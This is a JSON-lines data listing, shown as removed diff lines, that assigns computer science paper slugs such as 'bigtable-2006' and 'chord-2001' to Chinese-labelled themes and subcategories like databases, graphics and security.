-{"slug":"ampere-architecture-2020","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"amplification-hell-2014","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"ance-2020","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"andersen-pointer-analysis","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"andromeda-2018","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"anh-moffat-2005","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"anserini-2017","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"anthropic-circuits","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 可解释性","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"anthropic-prompt-caching","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 工程","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"apex-policy-exploration","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"apollo-2014","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"apron-2009","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"aries-1992","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"arrakis-2014","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"art-2013","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"asterisk","area":"papers","theme":"通信","themeId":"communication","subcategory":"通信 / 开源 PBX","source":"category","confidence":"high","rawCategory":"通信"} -{"slug":"astree","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"atlas-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"attention","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"深度学习 / NLP","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"atzei-eth-attacks-2017","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"aurora-exascale-2024","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"aurora","area":"papers","theme":"数据库","themeId":"databases","subcategory":"数据库系统","source":"category","confidence":"high","rawCategory":"数据库"} -{"slug":"autogen","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"avgustinov-codeql-2016","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"awodey-warren-2009","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"awq-2023","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"awq","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"azure-storage-2011","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"b-tree-1972","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"b4-2013","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"badger","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储系统","source":"category","confidence":"high","rawCategory":"数据库"} -{"slug":"baraff-witkin-1998-cloth","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"barrelfish-2009","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"batchnorm-2015","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"bayou-1995","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"bbr-2017","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"beck-tdd","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"belady-1966","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"ben-sasson-stark-2018","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"bentley-1975-kdtree","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"bentoml","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"MLOps / 模型服务","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"berenson-1995-isolation","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"bernstein-1981-cc","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"bernstein-sphincs-2015","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"bert","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"bert4rec-2019","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"bidirectional-typing","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"biere-bmc-1999","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"big-little-2011","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"bigbench-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"biggan-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"bigtable-2006","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"bitcoin","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统 / 密码学","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"bittorrent-2003","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"blackwell-architecture-2024","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"blink-2020","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"blinn-1977","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"blip2-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"block-max-wand-2011","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"bm25-okapi","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"数据检索","source":"category","confidence":"high","rawCategory":"信息检索"} -{"slug":"boehm-gc","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内存管理","source":"category","confidence":"high","rawCategory":"操作系统"} -{"slug":"bohme-aflfast-2016","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"bonawitz-fl-system-2019","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"boogie-2005","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"borg-omega-kube-2016","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"borg","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"bos-kyber-2018","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"bowe-halo-2019","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"bpr-2009","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"brakerski-bgv-2012","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"branch-prediction-yeh-patt-1991","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"brewer-cap-2000","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"brill-moore-2000","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"brook-2004","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"btrfs-2013","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"bunz-bulletproofs-2018","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"burgess-2020-turing-rt","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"bvt-1999","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"byzantine-generals-1982","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"cadar-klee-2008","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"caesar-rexford-2005","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"cakeml","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"calculus-of-constructions","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"calder-2015-anycast-cdn","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"call-by-need-1995","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"calvin-2012","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"cap-12-years-later-2012","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"capsicum-2010","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"cascades-1995","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"case-for-risc-1980","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"cassandra-2010","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"catmull-1974-zbuffer","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"catmull-clark-1978","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"causal-abstraction","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 可解释性","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"cell-be-2005","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"ceph-2006","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"cerf-kahn-1974","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"certikos-2016","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"cesium","area":"papers","theme":"数据可视化","themeId":"dataviz","subcategory":"可视化","source":"category","confidence":"high","rawCategory":"数据可视化"} -{"slug":"chaff-2001","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"chain-replication-2004","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"chaitin-graph-coloring","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"chandy-lamport-1985","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"chapar-2016","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"chapter-llama-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"chat-univi-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"chatbot-arena-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"chaum-1981-mix","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"cheney-gc","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"系统","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"cheon-ckks-2017","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"chillotti-tfhe-2016","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"chinchilla","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"chord-2001","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"chronos-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"chubby","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"ci-effects","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"cimatti-nusmv-2002","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"clark-1988","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"clarke-cegar-2003","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"clarke-emerson-1981","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"classifier-free-guidance-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"clawtrace-cost-aware","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"clearml","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"MLOps","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"clickhouse","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"category","confidence":"high","rawCategory":"数据库"} -{"slug":"clip","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态 / 计算机视觉","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"coca-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"cockroachdb-2020","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"cocondenser-2021","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"coda-1990","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"codd-1970","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"codd-1979-extending","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"code-as-agent-harness","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"codellama-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"codex-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"codons-2004","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"coeffect-petricek","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"cognitive-load-theory","area":"papers","theme":"其他","themeId":"other","subcategory":"认知科学","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"cohen-1985-hemicube","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"colbert-2020","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"colbert-v2","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"数据检索","source":"category","confidence":"high","rawCategory":"信息检索"} -{"slug":"comer-1979-btree","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"compcert","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"compiler-errors","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言 / 编译器","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"consistency-models-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"consistent-hashing-1997","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"constitutional-ai","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 安全 / NLP","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"cook-1984-distributed-ray-tracing","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"cook-1986-stochastic-sampling","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"cook-levin","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"计算理论","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"cook-torrance-1982","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"copilot-rct","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程实证","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"cops-2011","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"costan-sgx-explained-2016","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"cot","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI / LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"coturn","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"couchdb","area":"papers","theme":"数据库","themeId":"databases","subcategory":"数据库","source":"category","confidence":"high","rawCategory":"数据库"} -{"slug":"countervqa-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"cousot-abstract-interpretation","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"cousot-halbwachs-polyhedra-1978","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"cover-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"craq-2009","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"crdt-json-2017","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"crdt-json","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"crdt-shapiro-2011","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"crdt-sss-2011","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"croft-harper-1979","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"cryptoverif-2008","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"csp-hoare-1978","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"cstore-2005","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"cubic-2008","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"cubical-type-theory-2018","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"cuda-streams-concurrency-2018","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"cudnn-2014","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"curless-levoy-1996-tsdf","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"cutlass-2020","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"cytoscape-js","area":"papers","theme":"数据可视化","themeId":"dataviz","subcategory":"可视化","source":"category","confidence":"high","rawCategory":"数据可视化"} -{"slug":"dafny-2010","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"daian-flash-boys-2020","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"dalle-2","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"生成模型 / 计算机视觉","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"danezis-sphinx-2009","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"dapper-2010","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} 